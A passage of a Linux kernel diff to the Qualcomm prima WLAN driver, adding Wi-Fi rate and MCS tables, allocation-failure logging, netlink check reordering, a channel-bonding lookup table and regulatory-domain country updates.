+/*HT20 SGI MCS 0-7 (24-31)*/ +{ 72, PREAMBLE_HT, S_BW20, 1},{ 144, PREAMBLE_HT, S_BW20, 1}, +{ 217, PREAMBLE_HT, S_BW20, 1},{ 289, PREAMBLE_HT, S_BW20, 1}, +{ 433, PREAMBLE_HT, S_BW20, 1},{ 578, PREAMBLE_HT, S_BW20, 1}, +{ 650, PREAMBLE_HT, S_BW20, 1},{ 722, PREAMBLE_HT, S_BW20, 1}, +/*HT20 Greenfield MCS 0-7 rates (32-39)*/ +{ 65, PREAMBLE_HT, S_BW20, 0},{ 130, PREAMBLE_HT, S_BW20, 0}, +{ 195, PREAMBLE_HT, S_BW20, 0},{ 260, PREAMBLE_HT, S_BW20, 0}, +{ 390, PREAMBLE_HT, S_BW20, 0},{ 520, PREAMBLE_HT, S_BW20, 0}, +{ 585, PREAMBLE_HT, S_BW20, 0},{ 650, PREAMBLE_HT, S_BW20, 0}, +/*HT40 LGI MCS 0-7 (40-47)*/ +{ 135, PREAMBLE_HT, S_BW40, 0},{ 270, PREAMBLE_HT, S_BW40, 0}, +{ 405, PREAMBLE_HT, S_BW40, 0},{ 540, PREAMBLE_HT, S_BW40, 0}, +{ 810, PREAMBLE_HT, S_BW40, 0},{ 1080, PREAMBLE_HT, S_BW40, 0}, +{ 1215, PREAMBLE_HT, S_BW40, 0},{ 1350, PREAMBLE_HT, S_BW40, 0}, +/*HT40 SGI MCS 0-7 (48-55)*/ +{ 150, PREAMBLE_HT, S_BW40, 1},{ 300, PREAMBLE_HT, S_BW40, 1}, +{ 450, PREAMBLE_HT, S_BW40, 1},{ 600, PREAMBLE_HT, S_BW40, 1}, +{ 900, PREAMBLE_HT, S_BW40, 1},{ 1200, PREAMBLE_HT, S_BW40, 1}, +{ 1350, PREAMBLE_HT, S_BW40, 1},{ 1500, PREAMBLE_HT, S_BW40, 1}, +/*HT40 Greenfield MCS 0-7 rates (56-63) 64-65 are dummy*/ +{ 135, PREAMBLE_HT, S_BW40, 0},{ 270, PREAMBLE_HT, S_BW40, 0}, +{ 405, PREAMBLE_HT, S_BW40, 0},{ 540, PREAMBLE_HT, S_BW40, 0}, +{ 810, PREAMBLE_HT, S_BW40, 0},{ 1080, PREAMBLE_HT, S_BW40, 0}, +{ 1215, PREAMBLE_HT, S_BW40, 0},{ 1350, PREAMBLE_HT, S_BW40, 0}, +/*64-65 are dummy*/ +{ 1350, PREAMBLE_HT, S_BW40, 0},{ 1350, PREAMBLE_HT, S_BW40, 0}, +/*VHT20 LGI MCS 0-9 rates (66-75)*/ +{ 65, PREAMBLE_VHT, S_BW20, 0},{ 130, PREAMBLE_VHT, S_BW20, 0}, +{ 195, PREAMBLE_VHT, S_BW20, 0},{ 260, PREAMBLE_VHT, S_BW20, 0}, +{ 390, PREAMBLE_VHT, S_BW20, 0},{ 520, PREAMBLE_VHT, S_BW20, 0}, +{ 585, PREAMBLE_VHT, S_BW20, 0},{ 650, PREAMBLE_VHT, S_BW20, 0}, +{ 780, PREAMBLE_VHT, S_BW20, 0},{ 865, PREAMBLE_VHT, S_BW20, 0}, +/*76-77 are dummy*/ +{ 865, PREAMBLE_VHT, S_BW20, 0},{ 865, PREAMBLE_VHT, S_BW20, 0}, +/*VHT20 SGI MCS 0-9 rates (78-87)*/ +{ 72, PREAMBLE_VHT, S_BW20, 1},{ 144, PREAMBLE_VHT, S_BW20, 1}, +{ 217, PREAMBLE_VHT, S_BW20, 1},{ 289, PREAMBLE_VHT, S_BW20, 1}, +{ 433, PREAMBLE_VHT, S_BW20, 1},{ 578, PREAMBLE_VHT, S_BW20, 1}, +{ 650, PREAMBLE_VHT, S_BW20, 1},{ 722, PREAMBLE_VHT, S_BW20, 1}, +{ 867, PREAMBLE_VHT, S_BW20, 1},{ 961, PREAMBLE_VHT, S_BW20, 1}, +/*88-89 are dummy*/ +{ 961, PREAMBLE_VHT, S_BW20, 1},{ 961, PREAMBLE_VHT, S_BW20, 1}, +/*VHT40 LGI MCS 0-9 rates (90-101) 98,101 is Dummy*/ +{ 135, PREAMBLE_VHT, S_BW40, 0},{ 270, PREAMBLE_VHT, S_BW40, 0}, +{ 405, PREAMBLE_VHT, S_BW40, 0},{ 540, PREAMBLE_VHT, S_BW40, 0}, +{ 810, PREAMBLE_VHT, S_BW40, 0},{ 1080, PREAMBLE_VHT, S_BW40, 0}, +{ 1215, PREAMBLE_VHT, S_BW40, 0},{ 1350, PREAMBLE_VHT, S_BW40, 0}, +{ 1350, PREAMBLE_VHT, S_BW40, 0},{ 1620, PREAMBLE_VHT, S_BW40, 0}, +{ 1800, PREAMBLE_VHT, S_BW40, 0},{ 1800, PREAMBLE_VHT, S_BW40, 0}, +/*VHT40 SGI MCS 0-9 rates (102-112) 110, 113 is Dummy*/ +{ 150, PREAMBLE_VHT, S_BW40, 1},{ 300, PREAMBLE_VHT, S_BW40, 1}, +{ 450, PREAMBLE_VHT, S_BW40, 1},{ 600, PREAMBLE_VHT, S_BW40, 1}, +{ 900, PREAMBLE_VHT, S_BW40, 1},{ 1200, PREAMBLE_VHT, S_BW40, 1}, +{ 1350, PREAMBLE_VHT, S_BW40, 1},{ 1500, PREAMBLE_VHT, S_BW40, 1}, +{ 1500, PREAMBLE_VHT, S_BW40, 1},{ 1800, PREAMBLE_VHT, S_BW40, 1}, +{ 2000, PREAMBLE_VHT, S_BW40, 1},{ 2000, PREAMBLE_VHT, S_BW40, 1}, +/*VHT80 LGI MCS 0-9 rates (114-125) 122, 125 is Dummy*/ +{ 293, PREAMBLE_VHT, S_BW80, 0},{ 585, PREAMBLE_VHT, S_BW80, 0}, +{ 878, PREAMBLE_VHT, S_BW80, 0},{ 1170, PREAMBLE_VHT, S_BW80, 0}, +{ 1755, PREAMBLE_VHT, S_BW80, 0},{ 2340, PREAMBLE_VHT, S_BW80, 0}, +{ 2633, PREAMBLE_VHT, S_BW80, 0},{ 2925, PREAMBLE_VHT, S_BW80, 0}, +{ 2925, PREAMBLE_VHT, S_BW80, 0},{ 3510, PREAMBLE_VHT, S_BW80, 0}, +{ 3900, PREAMBLE_VHT, S_BW80, 0},{ 3900, PREAMBLE_VHT, S_BW80, 0}, +/*VHT80 SGI MCS 0-9 rates (126-136) 134 is Dummy*/ +{ 325, PREAMBLE_VHT, S_BW80, 1},{ 650, PREAMBLE_VHT, S_BW80, 1}, +{ 975, PREAMBLE_VHT, S_BW80, 1},{ 1300, PREAMBLE_VHT, S_BW80, 1}, +{ 1950, PREAMBLE_VHT, S_BW80, 1},{ 2600, PREAMBLE_VHT, S_BW80, 1}, +{ 2925, PREAMBLE_VHT, S_BW80, 1},{ 3250, PREAMBLE_VHT, S_BW80, 1}, +{ 3250, PREAMBLE_VHT, S_BW80, 1},{ 3900, PREAMBLE_VHT, S_BW80, 1}, +{ 4333, PREAMBLE_VHT, S_BW80, 1}, +}; + +void get_rate_and_MCS(per_packet_stats *stats, uint32 rateindex) +{ + rateidx_to_rate_bw_preamble_sgi *ratetbl; + + if (STATS_MAX_RATE_INDEX < rateindex) + rateindex = STATS_MAX_RATE_INDEX; + ratetbl= &rateidx_to_rate_bw_preamble_sgi_table[rateindex]; + stats->last_transmit_rate = ratetbl->rate/5; + stats->MCS.nss = 0; + if (0 <= rateindex && rateindex <= 7) + stats->MCS.rate = 7 - rateindex; + else if (8 <= rateindex && rateindex <= 15) + { + switch(rateindex) + { + case 8:stats->MCS.rate = 3; break; + case 9:stats->MCS.rate = 7; break; + case 10:stats->MCS.rate = 2; break; + case 11:stats->MCS.rate = 6; break; + case 12:stats->MCS.rate = 1; break; + case 13:stats->MCS.rate = 5; break; + case 14:stats->MCS.rate = 0; break; + case 15:stats->MCS.rate = 4; break; + } + } + else if(16 <= rateindex && rateindex <= 23) + stats->MCS.rate = rateindex - 16; + else if(24 <= rateindex && rateindex <= 31) + stats->MCS.rate = rateindex - 24; + else if(32 <= rateindex && rateindex <= 39) + stats->MCS.rate = rateindex - 32; + else if(40 <= rateindex && rateindex <= 47) + stats->MCS.rate = rateindex - 40; + else if(48 <= rateindex && rateindex <= 55) + stats->MCS.rate = rateindex - 48; + else if(56 <= rateindex && rateindex <= 63) + stats->MCS.rate = rateindex - 56; + else if(66 <= rateindex && rateindex <= 75) + stats->MCS.rate = rateindex - 66; + else if(78 <= rateindex && rateindex <= 87) + stats->MCS.rate = rateindex - 78; + else if(90 <= rateindex && rateindex <= 100) + stats->MCS.rate = rateindex - 90; + else if(78 <= rateindex && rateindex <= 87) + stats->MCS.rate = rateindex - 78; + else if(90 <= rateindex && rateindex <= 97) + stats->MCS.rate = rateindex - 90; + else if(99 <= rateindex && rateindex <= 100) + stats->MCS.rate = rateindex - 91; + else if(102 <= rateindex && rateindex <= 109) + stats->MCS.rate = rateindex - 102; + else if(111 <= rateindex && rateindex <= 112) + stats->MCS.rate = rateindex - 103; + else if(114 <= rateindex && rateindex <= 121) + stats->MCS.rate = rateindex - 114; + else if(123 <= rateindex && rateindex <= 124) + stats->MCS.rate = rateindex - 115; + else if(126 <= rateindex && rateindex <= 133) + stats->MCS.rate = rateindex - 126; + else if(135 <= rateindex && rateindex <= 136) + stats->MCS.rate = rateindex - 127; + else /*Invalid rate index mark it 0*/ + stats->MCS.rate = 0; + stats->MCS.preamble = ratetbl->preamble; + stats->MCS.bw = ratetbl->bw; + stats->MCS.short_gi = ratetbl->short_gi; +} + +bool vos_isPktStatsEnabled(void) +{ + bool value; + value = wlan_isPktStatsEnabled(); + return (value); +} + +bool vos_is_wlan_logging_enabled(void) +{ + v_CONTEXT_t vos_ctx = vos_get_global_context(VOS_MODULE_ID_SYS, NULL); + hdd_context_t *hdd_ctx; + + if(!vos_ctx) + { + hddLog(VOS_TRACE_LEVEL_FATAL,"%s: Global VOS context is Null", __func__); + return false; + } + + hdd_ctx = vos_get_context(VOS_MODULE_ID_HDD, vos_ctx); + + if(!hdd_ctx) + { + hddLog(VOS_TRACE_LEVEL_FATAL,"%s: HDD context is Null", __func__); + return false; + } + + if (!hdd_ctx->cfg_ini->wlanLoggingEnable) + { + hddLog(VOS_TRACE_LEVEL_FATAL,"%s: Logging framework not enabled!", __func__); + return false; + } + + return true; +} + +/**--------------------------------------------------------------------------- + + \brief vos_is_probe_rsp_offload_enabled - + + API to check if probe response offload feature is enabled from ini + + \param - None + + \return - 0: probe response offload is disabled + 1: probe response offload is enabled + + --------------------------------------------------------------------------*/ +v_BOOL_t vos_is_probe_rsp_offload_enabled(void) +{ + hdd_context_t *pHddCtx = NULL; + v_CONTEXT_t pVosContext = NULL; + + /* Get the Global VOSS Context */ + pVosContext = vos_get_global_context(VOS_MODULE_ID_SYS, NULL); + if (!pVosContext) { + hddLog(VOS_TRACE_LEVEL_FATAL, + "%s: Global VOS context is Null", __func__); + return FALSE; + } + + /* Get the HDD context */ + pHddCtx = (hdd_context_t *)vos_get_context(VOS_MODULE_ID_HDD, + pVosContext); + if (!pHddCtx) { + hddLog(VOS_TRACE_LEVEL_FATAL, + "%s: HDD context is Null", __func__); + return FALSE; + } + + return pHddCtx->cfg_ini->sap_probe_resp_offload; +} diff --git a/drivers/staging/prima/CORE/VOSS/src/vos_diag.c b/drivers/staging/prima/CORE/VOSS/src/vos_diag.c index 285581d09ceaf..496ae47349289 100644 --- a/drivers/staging/prima/CORE/VOSS/src/vos_diag.c +++ b/drivers/staging/prima/CORE/VOSS/src/vos_diag.c @@ -1,5 +1,5 @@ /* - * Copyright (c) 2014-2015 The Linux Foundation. All rights reserved. + * Copyright (c) 2014-2016 The Linux Foundation. All rights reserved. * * Previously licensed under the ISC license by Qualcomm Atheros, Inc. * @@ -142,6 +142,9 @@ void vos_log_submit(v_VOID_t *plog_hdr_ptr) return; } + if (nl_srv_is_initialized() != 0) + return; + #ifdef WLAN_KD_READY_NOTIFIER /* NL is not ready yet, WLAN KO started first */ if ((pHddCtx->kd_nl_init) && (!pHddCtx->ptt_pid)) @@ -150,9 +153,6 @@ void vos_log_submit(v_VOID_t *plog_hdr_ptr) } #endif /* WLAN_KD_READY_NOTIFIER */ - if (nl_srv_is_initialized() != 0) - return; - /* Send the log data to the ptt app only if it is registered with the wlan driver*/ if(vos_is_multicast_logging()) { @@ -211,10 +211,18 @@ void vos_log_submit(v_VOID_t *plog_hdr_ptr) void vos_log_wlock_diag(uint32_t reason, const char *wake_lock_name, uint32_t timeout, uint32_t status) { + VosContextType *vos_context; WLAN_VOS_DIAG_EVENT_DEF(wlan_diag_event, struct vos_event_wlan_wake_lock); - if (nl_srv_is_initialized() != 0) + vos_context = vos_get_global_context(VOS_MODULE_ID_SYS, NULL); + if (!vos_context) { + VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, + "vos context is Invald"); + return; + } + if (nl_srv_is_initialized() != 0 || + vos_context->wakelock_log_level == WLAN_LOG_LEVEL_OFF) return; wlan_diag_event.status = status; @@ -270,6 +278,9 @@ void vos_event_report_payload(v_U16_t event_Id, v_U16_t length, v_VOID_t *pPaylo return; } + if (nl_srv_is_initialized() != 0) + return; + #ifdef WLAN_KD_READY_NOTIFIER /* NL is not ready yet, WLAN KO started first */ if ((pHddCtx->kd_nl_init) && (!pHddCtx->ptt_pid)) @@ -278,9 +289,6 @@ void vos_event_report_payload(v_U16_t event_Id, v_U16_t length, v_VOID_t *pPaylo } #endif /* WLAN_KD_READY_NOTIFIER */ - if (nl_srv_is_initialized() != 0) - return; - /* Send the log data to the ptt app only if it is registered with the wlan driver*/ if(vos_is_multicast_logging()) { diff --git a/drivers/staging/prima/CORE/VOSS/src/vos_memory.c b/drivers/staging/prima/CORE/VOSS/src/vos_memory.c index 15c54673e9576..e87cfd3ea8dc4 100644 --- a/drivers/staging/prima/CORE/VOSS/src/vos_memory.c +++ b/drivers/staging/prima/CORE/VOSS/src/vos_memory.c @@ -225,8 +225,18 @@ v_VOID_t * vos_mem_malloc_debug( v_SIZE_t size, char* fileName, v_U32_t lineNum) if (vos_timer_get_system_time() - time_before_kmalloc >= VOS_GET_MEMORY_TIME_THRESHOLD) VOS_TRACE(VOS_MODULE_ID_VOSS, VOS_TRACE_LEVEL_ERROR, - "%s: kmalloc took %lu msec", __func__, - vos_timer_get_system_time() - time_before_kmalloc); + "%s: kmalloc took %lu msec for size %d called from %pS at line %d", + __func__, + vos_timer_get_system_time() - time_before_kmalloc, + size, (void *)_RET_IP_, lineNum); + if ((flags != GFP_ATOMIC) && (NULL == memPtr)) + { + WARN_ON(1); + vos_fatal_event_logs_req(WLAN_LOG_TYPE_FATAL, + WLAN_LOG_INDICATOR_HOST_ONLY, + WLAN_LOG_REASON_MALLOC_FAIL, + false, true); + } return memPtr; } @@ -239,8 +249,10 @@ v_VOID_t * vos_mem_malloc_debug( v_SIZE_t size, char* fileName, v_U32_t lineNum) if (vos_timer_get_system_time() - time_before_kmalloc >= VOS_GET_MEMORY_TIME_THRESHOLD) VOS_TRACE(VOS_MODULE_ID_VOSS, VOS_TRACE_LEVEL_ERROR, - "%s: kmalloc took %lu msec", __func__, - vos_timer_get_system_time() - time_before_kmalloc); + "%s: kmalloc took %lu msec for size %d called from %pS at line %d", + __func__, + vos_timer_get_system_time() - time_before_kmalloc, + size, (void *)_RET_IP_, lineNum); if(memStruct != NULL) { @@ -264,6 +276,14 @@ v_VOID_t * vos_mem_malloc_debug( v_SIZE_t size, char* fileName, v_U32_t lineNum) memPtr = (v_VOID_t*)(memStruct + 1); } + if ((flags != GFP_ATOMIC) && (NULL == memStruct)) + { + WARN_ON(1); + vos_fatal_event_logs_req(WLAN_LOG_TYPE_FATAL, + WLAN_LOG_INDICATOR_HOST_ONLY, + WLAN_LOG_REASON_MALLOC_FAIL, + false, true); + } return memPtr; } @@ -350,12 +370,22 @@ v_VOID_t * vos_mem_malloc( v_SIZE_t size ) if (vos_timer_get_system_time() - time_before_kmalloc >= VOS_GET_MEMORY_TIME_THRESHOLD) VOS_TRACE(VOS_MODULE_ID_VOSS, VOS_TRACE_LEVEL_ERROR, - "%s: kmalloc took %lu msec", __func__, - vos_timer_get_system_time() - time_before_kmalloc); + "%s: kmalloc took %lu msec for size %d from %pS", + __func__, + vos_timer_get_system_time() - time_before_kmalloc, + size, (void *)_RET_IP_); + if ((flags != GFP_ATOMIC) && (NULL == memPtr)) + { + WARN_ON(1); + vos_fatal_event_logs_req(WLAN_LOG_TYPE_FATAL, + WLAN_LOG_INDICATOR_HOST_ONLY, + WLAN_LOG_REASON_MALLOC_FAIL, + false, true); + } return memPtr; -} +} v_VOID_t vos_mem_free( v_VOID_t *ptr ) { @@ -420,6 +450,20 @@ v_VOID_t vos_mem_set( v_VOID_t *ptr, v_SIZE_t numBytes, v_BYTE_t value ) memset(ptr, value, numBytes); } +void vos_buff_to_hl_buff (tANI_U8 *buffer, int size) +{ + int *val, i; + if (size % 4 != 0) + VOS_TRACE(VOS_MODULE_ID_PE,VOS_TRACE_LEVEL_ERROR, + "%s: size should be multiple of 4, size %d", + __func__, size); + + val = (int *)buffer; + + for (i=0; i<(size/4); i++) + *(val+i) = vos_htonl ((unsigned long)(*(val+i))); +} + v_VOID_t vos_mem_zero( v_VOID_t *ptr, v_SIZE_t numBytes ) { if (0 == numBytes) diff --git a/drivers/staging/prima/CORE/VOSS/src/vos_nvitem.c b/drivers/staging/prima/CORE/VOSS/src/vos_nvitem.c index de581c1ce4842..5b4c6047d8951 100644 --- a/drivers/staging/prima/CORE/VOSS/src/vos_nvitem.c +++ b/drivers/staging/prima/CORE/VOSS/src/vos_nvitem.c @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012-2015 The Linux Foundation. All rights reserved. + * Copyright (c) 2012-2016 The Linux Foundation. All rights reserved. * * Previously licensed under the ISC license by Qualcomm Atheros, Inc. * @@ -123,11 +123,64 @@ typedef struct // loaded on driver initialization if available #ifdef CONFIG_ENABLE_LINUX_REG +static struct +chan_to_ht_40_index_map chan_to_ht_40_index[NUM_20MHZ_RF_CHANNELS] = +{ + /* ht_40_minus_index, ht_40_plus_index */ + {INVALID_RF_CHANNEL, RF_CHAN_BOND_3}, //RF_CHAN_1, + {INVALID_RF_CHANNEL, RF_CHAN_BOND_4}, //RF_CHAN_2, + {INVALID_RF_CHANNEL, RF_CHAN_BOND_5}, //RF_CHAN_3, + {INVALID_RF_CHANNEL, RF_CHAN_BOND_6}, //RF_CHAN_4, + {RF_CHAN_BOND_3, RF_CHAN_BOND_7}, //RF_CHAN_5, + {RF_CHAN_BOND_4, RF_CHAN_BOND_8}, //RF_CHAN_6, + {RF_CHAN_BOND_5, RF_CHAN_BOND_9}, //RF_CHAN_7, + {RF_CHAN_BOND_6, RF_CHAN_BOND_10}, //RF_CHAN_8, + {RF_CHAN_BOND_7, RF_CHAN_BOND_11}, //RF_CHAN_9, + {RF_CHAN_BOND_8, INVALID_RF_CHANNEL}, //RF_CHAN_10, + {RF_CHAN_BOND_9, INVALID_RF_CHANNEL}, //RF_CHAN_11, + {RF_CHAN_BOND_10, INVALID_RF_CHANNEL}, //RF_CHAN_12, + {RF_CHAN_BOND_11, INVALID_RF_CHANNEL}, //RF_CHAN_13, + {INVALID_RF_CHANNEL, INVALID_RF_CHANNEL},//RF_CHAN_14, + {INVALID_RF_CHANNEL, RF_CHAN_BOND_242}, //RF_CHAN_240, + {RF_CHAN_BOND_242, RF_CHAN_BOND_246}, //RF_CHAN_244, + {RF_CHAN_BOND_246, RF_CHAN_BOND_250}, //RF_CHAN_248, + {RF_CHAN_BOND_250, INVALID_RF_CHANNEL}, //RF_CHAN_252, + {INVALID_RF_CHANNEL, RF_CHAN_BOND_210}, //RF_CHAN_208, + {RF_CHAN_BOND_210, RF_CHAN_BOND_214}, //RF_CHAN_212, + {RF_CHAN_BOND_214, INVALID_RF_CHANNEL}, //RF_CHAN_216, + {INVALID_RF_CHANNEL, RF_CHAN_BOND_38}, //RF_CHAN_36, + {RF_CHAN_BOND_38, RF_CHAN_BOND_42}, //RF_CHAN_40, + {RF_CHAN_BOND_42, RF_CHAN_BOND_46}, //RF_CHAN_44, + {RF_CHAN_BOND_46, RF_CHAN_BOND_50}, //RF_CHAN_48, + {RF_CHAN_BOND_50, RF_CHAN_BOND_54}, //RF_CHAN_52, + {RF_CHAN_BOND_54, RF_CHAN_BOND_58}, //RF_CHAN_56, + {RF_CHAN_BOND_58, RF_CHAN_BOND_62}, //RF_CHAN_60, + {RF_CHAN_BOND_62, INVALID_RF_CHANNEL}, //RF_CHAN_64, + {INVALID_RF_CHANNEL, RF_CHAN_BOND_102}, //RF_CHAN_100, + {RF_CHAN_BOND_102, RF_CHAN_BOND_106}, //RF_CHAN_104, + {RF_CHAN_BOND_106, RF_CHAN_BOND_110}, //RF_CHAN_108, + {RF_CHAN_BOND_110, RF_CHAN_BOND_114}, //RF_CHAN_112, + {RF_CHAN_BOND_114, RF_CHAN_BOND_118}, //RF_CHAN_116, + {RF_CHAN_BOND_118, RF_CHAN_BOND_122}, //RF_CHAN_120, + {RF_CHAN_BOND_122, RF_CHAN_BOND_126}, //RF_CHAN_124, + {RF_CHAN_BOND_126, RF_CHAN_BOND_130}, //RF_CHAN_128, + {RF_CHAN_BOND_130, RF_CHAN_BOND_134}, //RF_CHAN_132, + {RF_CHAN_BOND_134, RF_CHAN_BOND_138}, //RF_CHAN_136, + {RF_CHAN_BOND_138, RF_CHAN_BOND_142}, //RF_CHAN_140, +#ifdef FEATURE_WLAN_CH144 + {RF_CHAN_BOND_142, INVALID_RF_CHANNEL}, //RF_CHAN_144, +#endif /* FEATURE_WLAN_CH144 */ + {INVALID_RF_CHANNEL, RF_CHAN_BOND_151}, //RF_CHAN_149, + {RF_CHAN_BOND_151, RF_CHAN_BOND_155}, //RF_CHAN_153, + {RF_CHAN_BOND_155, RF_CHAN_BOND_159}, //RF_CHAN_157, + {RF_CHAN_BOND_159, RF_CHAN_BOND_163}, //RF_CHAN_161, + {RF_CHAN_BOND_163, INVALID_RF_CHANNEL}, //RF_CHAN_165, +}; static CountryInfoTable_t countryInfoTable = { /* the first entry in the table is always the world domain */ - 138, + 139, { {REGDOMAIN_WORLD, {'0', '0'}}, // WORLD DOMAIN {REGDOMAIN_ETSI, {'A', 'D'}}, // ANDORRA @@ -184,7 +237,7 @@ static CountryInfoTable_t countryInfoTable = {REGDOMAIN_APAC, {'G', 'T'}}, //GUATEMALA {REGDOMAIN_FCC, {'G', 'U'}}, //GUAM {REGDOMAIN_ETSI, {'H', 'U'}}, //HUNGARY - {REGDOMAIN_FCC, {'I', 'D'}}, //INDONESIA + {REGDOMAIN_ETSI, {'I', 'D'}}, //INDONESIA {REGDOMAIN_ETSI, {'I', 'E'}}, //IRELAND {REGDOMAIN_ETSI, {'I', 'L'}}, //ISRAEL {REGDOMAIN_APAC, {'I', 'N'}}, //INDIA @@ -254,19 +307,20 @@ static CountryInfoTable_t countryInfoTable = {REGDOMAIN_ETSI, {'T', 'R'}}, //TURKEY {REGDOMAIN_WORLD, {'T', 'T'}}, //TRINIDAD AND TOBAGO {REGDOMAIN_FCC, {'T', 'W'}}, //TAIWAN, PRIVINCE OF CHINA - {REGDOMAIN_FCC, {'T', 'Z'}}, //TANZANIA, UNITED REPUBLIC OF + {REGDOMAIN_ETSI, {'T', 'Z'}}, //TANZANIA, UNITED REPUBLIC OF {REGDOMAIN_WORLD, {'U', 'A'}}, //UKRAINE {REGDOMAIN_KOREA, {'U', 'G'}}, //UGANDA {REGDOMAIN_FCC, {'U', 'S'}}, //USA {REGDOMAIN_WORLD, {'U', 'Y'}}, //URUGUAY - {REGDOMAIN_FCC, {'U', 'Z'}}, //UZBEKISTAN + {REGDOMAIN_ETSI, {'U', 'Z'}}, //UZBEKISTAN {REGDOMAIN_ETSI, {'V', 'E'}}, //VENEZUELA {REGDOMAIN_FCC, {'V', 'I'}}, //VIRGIN ISLANDS, US - {REGDOMAIN_FCC, {'V', 'N'}}, //VIETNAM + {REGDOMAIN_ETSI, {'V', 'N'}}, //VIETNAM {REGDOMAIN_ETSI, {'Y', 'E'}}, //YEMEN {REGDOMAIN_ETSI, {'Y', 'T'}}, //MAYOTTE {REGDOMAIN_ETSI, {'Z', 'A'}}, //SOUTH AFRICA {REGDOMAIN_ETSI, {'Z', 'W'}}, //ZIMBABWE + {REGDOMAIN_JAPAN, {'X', 'A'}}, //JAPAN PASSIVE } }; @@ -1324,7 +1378,7 @@ VOS_STATUS vos_nv_open(void) vos_mem_free(pnvData); } - VOS_TRACE(VOS_MODULE_ID_VOSS, VOS_TRACE_LEVEL_ERROR, + VOS_TRACE(VOS_MODULE_ID_VOSS, VOS_TRACE_LEVEL_INFO, "INFO: NV version = %d is loaded, driver supports NV version = %d", gnvEFSTable->halnv.fields.nvVersion, WLAN_NV_VERSION); @@ -1344,7 +1398,7 @@ VOS_STATUS vos_nv_open(void) else if ((WLAN_NV_VERSION == NV_VERSION_CH144_CONFIG) && (((VosContextType*)(pVosContext))->nvVersion == E_NV_V2)) { - VOS_TRACE(VOS_MODULE_ID_VOSS, VOS_TRACE_LEVEL_ERROR, + VOS_TRACE(VOS_MODULE_ID_VOSS, VOS_TRACE_LEVEL_INFO, "INFO: Driver supports NV3 CH144 by default, " "NV2 is currently loaded, NV2 will be used."); } @@ -1566,6 +1620,14 @@ VOS_STATUS vos_nv_close(void) vos_mem_vfree(pEncodedBuf); vos_mem_free(pDictFile); vos_mem_vfree(pnvEncodedBuf); + /* + * Reset the linux_reg identifier to allow + * driver to send fresh regulatory hint to + * the kernel in case of a static driver reload + * under strict regulatory domain. + */ + linux_reg_cc[0] = '0'; + linux_reg_cc[1] = '0'; gnvEFSTable=NULL; return VOS_STATUS_SUCCESS; @@ -3256,81 +3318,19 @@ v_BOOL_t vos_is_channel_valid_for_vht80(v_U32_t chan) #ifdef CONFIG_ENABLE_LINUX_REG -static int bw20_ch_index_to_bw40_plus_minus_ch_index(int k, +static inline int bw20_ch_index_to_bw40_plus_minus_ch_index(int k, eChannnelBondingTypes cbflag ) { - int m = INVALID_RF_CHANNEL; - if (k >= RF_CHAN_1 && k <= RF_CHAN_14) - { - if(RF_CHAN_BOND_HT40_PLUS == cbflag) - m = k - RF_CHAN_1 + RF_CHAN_BOND_3 ; - else - m = k - RF_CHAN_1 + RF_CHAN_BOND_3 - HT_40MINUS_INDEX ; - - if (m > RF_CHAN_BOND_11) - m = INVALID_RF_CHANNEL; - if (m < RF_CHAN_BOND_3) - m = INVALID_RF_CHANNEL; + if (k >= NUM_20MHZ_RF_CHANNELS) { + VOS_TRACE(VOS_MODULE_ID_VOSS, VOS_TRACE_LEVEL_ERROR, + "%s invlaid channel index %d",__func__, k); + return INVALID_RF_CHANNEL; } - else if (k >= RF_CHAN_240 && k <= RF_CHAN_216) - { - if(RF_CHAN_BOND_HT40_PLUS == cbflag) - m = k - RF_CHAN_240 + RF_CHAN_BOND_242 ; - else - m = k - RF_CHAN_240 + RF_CHAN_BOND_242 - HT_40MINUS_INDEX; - if (m > RF_CHAN_BOND_214) - m = INVALID_RF_CHANNEL; - if (m < RF_CHAN_BOND_242) - m = INVALID_RF_CHANNEL; - } - else if (k >= RF_CHAN_36 && k <= RF_CHAN_64) - { - if(RF_CHAN_BOND_HT40_PLUS == cbflag) - m = k - RF_CHAN_36 + RF_CHAN_BOND_38; - else - m = k - RF_CHAN_36 + RF_CHAN_BOND_38 - HT_40MINUS_INDEX; - - if (m > RF_CHAN_BOND_62) - m = INVALID_RF_CHANNEL; - if (m < RF_CHAN_BOND_38) - m = INVALID_RF_CHANNEL; - } -#ifdef FEATURE_WLAN_CH144 - else if (k >= RF_CHAN_100 && k <= RF_CHAN_144) -#else - else if (k >= RF_CHAN_100 && k <= RF_CHAN_140) -#endif /* FEATURE_WLAN_CH144 */ - { - if(RF_CHAN_BOND_HT40_PLUS == cbflag) - m = k - RF_CHAN_100 + RF_CHAN_BOND_102; - else - m = k - RF_CHAN_100 + RF_CHAN_BOND_102 - HT_40MINUS_INDEX; -#ifdef FEATURE_WLAN_CH144 - if (m > RF_CHAN_BOND_142) - m = INVALID_RF_CHANNEL; - if (m < RF_CHAN_BOND_102) - m = INVALID_RF_CHANNEL; -#else - if (m > RF_CHAN_BOND_138) - m = INVALID_RF_CHANNEL; - if (m < RF_CHAN_BOND_102) - m = INVALID_RF_CHANNEL; -#endif /* FEATURE_WLAN_CH144 */ - } - else if (k >= RF_CHAN_149 && k <= RF_CHAN_165) - { - if(RF_CHAN_BOND_HT40_PLUS == cbflag) - m = k - RF_CHAN_149 + RF_CHAN_BOND_151; - else - m = k - RF_CHAN_149 + RF_CHAN_BOND_151 - HT_40MINUS_INDEX; - - if (m > RF_CHAN_BOND_163) - m = INVALID_RF_CHANNEL; - if (m < RF_CHAN_BOND_151) - m = INVALID_RF_CHANNEL; - } - return m; + if (RF_CHAN_BOND_HT40_PLUS == cbflag) + return chan_to_ht_40_index[k].ht_40_plus_index; + else + return chan_to_ht_40_index[k].ht_40_minus_index; } /**------------------------------------------------------------------------ \brief vos_nv_setRegDomain - @@ -3438,11 +3438,13 @@ VOS_STATUS vos_nv_getRegDomainFromCountryCode( v_REGDOMAIN_t *pRegDomain, if (REGDOMAIN_COUNT == temp_reg_domain) { - /* the country was not found in the driver database */ - /* so we will return the REGDOMAIN_WORLD to SME/CSR */ + /* the country was not found in the driver database + * so we will return the REGDOMAIN_WORLD to SME/CSR + */ - VOS_TRACE(VOS_MODULE_ID_VOSS, VOS_TRACE_LEVEL_ERROR, - ("Country does not map to any Regulatory domain")); + VOS_TRACE(VOS_MODULE_ID_VOSS, VOS_TRACE_LEVEL_INFO, + ("Country %c%c does not map to any Regulatory domain"), + country_code[0], country_code[1]); temp_reg_domain = REGDOMAIN_WORLD; } @@ -3685,8 +3687,13 @@ int 